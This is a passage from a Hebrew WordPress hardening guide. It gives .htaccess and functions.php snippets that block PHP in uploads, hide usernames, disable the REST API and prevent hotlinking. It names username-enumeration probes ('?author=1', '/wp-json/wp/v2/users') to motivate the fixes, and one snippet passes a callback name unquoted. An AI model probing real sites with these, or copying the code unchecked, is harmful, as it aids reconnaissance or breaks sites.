מערכת הוורדפרס משתמשת במפתחות אלו כדי להצפין את המידע המאוחסן בעוגיות המושתלות במחשבו של הגולש כאשר כשהוא מחובר לאתר. פרטי האימות שמורים בצורה של מחרוזת hash המורכבת יחד עם מפתחות ההצפנה וכך ממזערת את הסיכון לביצוע אחזור לשם המשתמש והסיסמה מתוך העוגיה שנגנבה מתוך מחשבו של המשתמש המחובר.

לדוגמה, כך מגיעים מפתחות הצפנה כברירת מחדל:

31. ביטול האפשרות להרצת קבצי PHP בתיקיות בהן זה לא נחוץ
דרך נוספת להקשחת הגנת האתר שלכם ולהוסיף שכבת הגנה נוספת היא לחסום את האפשרות להריץ קבצי PHP בתיקיות שבהם הפעולה לא הכרחית. לדוגמה בתיקיה /wp-content/uploads/ שלא אמורה להכיל כלל קבצי PHP, כשנבצע חסימה לביטול הרצת קבצי PHP נבטל את האפשרות של האקרים או תוכנה זדונית להריץ קובץ PHP המכיל פרצת אבטחה וכבר קיים פיזית באתר שלנו תחת ספרייה זו.

ניתן לבצע את החסימה על ידי הוספת הקוד הזה לקובץ .htaccess:

# .htaccess - Disable PHP Execution
<Files *.php>
    Order Allow,Deny
    Deny from all
</Files>

 

32. חסימת סריקה של משתמשים/מנהלים/מחברים של האתר
כברירת מחדל בוורדפרס, נורא קל לגלות את שם המשתמש שלכם. מכיוון שברוב המקרים הכותב הראשי של האתר הוא גם מנהל האתר (administrator), א ניתן בקלות ניתן למצוא את שם המשתמש של מנהל האתר. מחדל זה מקל על האקרים והנתון היחידי שנותר להם למצוא הוא את הסיסמה שלכם. למזלנו, ניתן לפתור זאת בקלות על ידי הוספת פיסת קוד לאתר. קוד זה יגרום לכך שבמידה ותנסו לגלות את שם המשתמש על ידי הוספת ?author=1 בסוף כתובת האתר, הדפדפן לא יציג את שם המשתמש שלכם אלא יבצע הפנייה לדף הבית של האתר.

הוסיפו את הקוד הבא לקובץ functions.php:

<?php
/* prevents hackers from getting your username by using ?author=1 at the end of your domain url */
add_action('template_redirect', computec_template_redirect);

function computec_template_redirect() {
    if (is_author()) {
        wp_redirect( home_url() ); exit;
    }
}
?>

 

33. בטלו את הגישה לתיקיית wp-includes
בעיה נוספת היא שבעלי אתרים נוטים להשאיר את הגישה לתיקיית wp-includes פתוחה. האקרים מרושעים יכולים לנצל זאת על ידי בדיקה של הקבצים בתיקייה זו ואף לגלות את גרסת הוורדפרס שלכם. ניסיון גישה לתיקייה זו צריך להחזיר הודעת שגיאה 403 או 404. על מנת למנוע גישה לתיקייה זו הוסיפו את הקוד הבא לקובץ .htaccess:

# Block the include-only files.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^wp-admin/includes/ - [F,L]
RewriteRule !^wp-includes/ - [S=3]
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
RewriteRule ^wp-includes/theme-compat/ - [F,L]
</IfModule>

34. בטלו JSON Rest API:
JSON Rest API הוצגה לראשונה בגירסת וורדפרס 4.4. ב – Rest API נעשה שימוש על ידי לא מעט מפתחי תוספים בכדי לקבל מידע באמצעות בקשות GET, כמו כן, היא מאפשרת את השימוש ב WordPress Rest API נחמד אבל בעייתי נורא כי אופציה זו גורמת לאתר שלכם להיקלע למתקפות DDoS וצרות אחרות.

JSON Rest API יכול להקל על האקרים כאלו ואחרים לגלות מידע על המשתמשים שלכם. לדוגמה: הוסיפו /wp-json/wp/v2/users לאחר כתובת האתר שלכם וצפו בקובץ JSON מסודר של כל המשתמשים באתר שלכם והפרטים שלהם. שם המשתמש והסיסמה אינם מוצגים, אבל… במידה ויש לי את השם המלא של אחד המשתמשים די בקלות ניתן למצוא את האימייל שלו ברשת.

ניתן בפשטות לבטל פונקציונליות זו על הוספת הקוד הבא לקובץ functions.php:

function sv_no_rest_api_4_7( $access ) {

    return new WP_Error( 'rest_cannot_access', 'Soooooryyyy', array(
        'status' => 403
    ) );

}
add_filter( 'rest_authentication_errors', 'sv_no_rest_api_4_7' );

שימו לב: כי במצבים מסויימים ביטול JSON Rest API יכול לשבור תוספים מסויימים (במידה והם עושים שימוש בזה), בדרך כלל אך לא תמיד – במידה ואחד התוספים עושה שימוש ב-JSON Rest API תקבלו אזהרה כאשר תנסו לבטל את הפונקציונאליות הזו.

* אם אתם משתמשים בוורדפרס בגירסה 5.0+ אל תנסו לחסום את  JSON Rest API כי העורך החדש בגירסה זו (גוטנברג) משתמש באותו Rest API.

35. מנעו קישור חיצוני לתמונות שלכם (hotlinking)
אין קשר לאבטחת אתר, אך זוהי אבטחה על המידע שלכם באתר ולזכויות יוצרים על תמונות, בוני אתרים יכולים להשתמש בתמונות שלכם ע"י קישור לתמונות באתר שלכם (ללא רשות כמובן), ומוסיפים חטא על פשע, הם עושים זאת על חשבון רוחב הפס שלכם. מצב זה נקרא hotlinking ובכדי למנוע זאת הוסיפו את הקוד הבא לקובץ .htaccess:

# Prevents image hotlinking
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?yourwebsite.com [NC]
RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?yourwebsite2.com [NC]
RewriteRule \.(jpe?g?|png|gif|ico|pdf|flv|swf|gz)$ - [NC,F,L]

36. חיבור האתר ל-  CDN / Cloud Flare
לאחר שעברתם על כל השלבים תוכלו לחבר את האתר שלכם ל- CDN / Cloud Flare בכדי ליצור עוד שכבת הגנה ולהגביר את קצב טעינת האתר והצגתו לגולשים.
מה זה CDN / Cloud Flare ?
CloudFlare הינו שירות שמנסה למנוע מצב שמתקפות DDoS יפילו את האתר שלכם או את השרת ועושה זאת ע״י העברת כלל התעבורה של האתר דרך ה-Firewall (חומת אש) והשרתים שלהם, דבר זה מאפשר לשירות לזהות בצורה אוטומטית מתקפות ולחסום אותם. כמובן שאין שום דבר בטוח שהוא ב-100%, אך לרוב החסימות עובדות ומונעות התקפות על האתר.

מלבד הגנה מפני מתקפות DDoS, ל-CloudFlare יש שירותים נוספים כמו CDN שמאיץ את האתר ע״י הגשת עמודי HTML סטטיים בשרתים מרובים, כלומר ה-CDN יוצר כמין אתר מראה של האתר שלנו כשהוא הופך את דפי האתר לסטטיים וכל גולש מקבל את האתר מהמקום שהכי קרוב למיקום שהוא גולש ממנו.

כיצד מבצעים את החיבור?
יש להירשם לשירות בלינק הבא: Cloudflare.com ולעקוב אחר ההוראות

.

אבטחת אתרים

לסיכום:

אם אנחנו רוצים לשמור מכל משמר על הנכס הדיגיטלי שלנו אז פעלו לפי הסעיפים ותוכלו להיות רגועים ולישון בשקט מפני האקרים, בוטים וכל מיני גורמים עויינים שינסו לפרוץ את האתר.

שתפו את המאמר:
הצטרפו לרשימת התפוצה:
כל זכויות היוצרים והקניין הרוחני המופיעים באתר זה לרבות התוכנה, בסיס הנתונים, הטקסטים, התיאורים, עיצוב האתר, הקבצים הגרפיים, התמונות, וכל חומר אחר הכלולים בו, אם לא נאמר מפורשות אחרת, שמורים ל-"קומפיוטק - פתרונות אינטרנט לעסקים" בלבד. אין להפיץ, לשכפל, להעתיק, למכור, לשדר, לפרסם, או לעשות כל שימוש מסחרי כלשהו בכל או בחלק מתכניו של האתר, כולל מוצרים, תמונות, גרפיקה, תיאורים, עיצוב וכל דבר אחר המוצג באתר, אלא אם ניתנה רשות כתובה וחתומה לכך בכתב ומראש ע''י "קומפיוטק - פתרונות אינטרנט לעסקים".